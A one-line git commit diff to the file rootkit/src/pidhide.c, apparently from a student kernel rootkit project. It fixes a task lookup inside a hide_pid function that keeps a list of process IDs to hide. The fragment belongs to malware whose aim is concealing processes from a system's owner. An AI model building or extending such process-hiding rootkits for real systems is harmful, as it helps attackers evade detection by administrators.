commit 0f7491fca955e29958b1899c8182c1218f7f087f parent 4415821409a7ef1676e8321d5e43f51352738ac6 Author: deurzen <m.deurzen@tum.de> Date: Mon, 25 Jan 2021 02:42:21 +0100 fixes error Diffstat:
M | rootkit/src/pidhide.c | | | 2 | +- |
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c @@ -66,7 +66,7 @@ hide_pid(pid_t pid) add_pid_to_list(hidden_pids_tail, pid); - struct task_struct *ts = find_task_by_vpid(pid); + struct task_struct *ts = pid_task(find_vpid(pid), PIDTYPE_PID); struct task_struct *ts2; rcu_read_lock();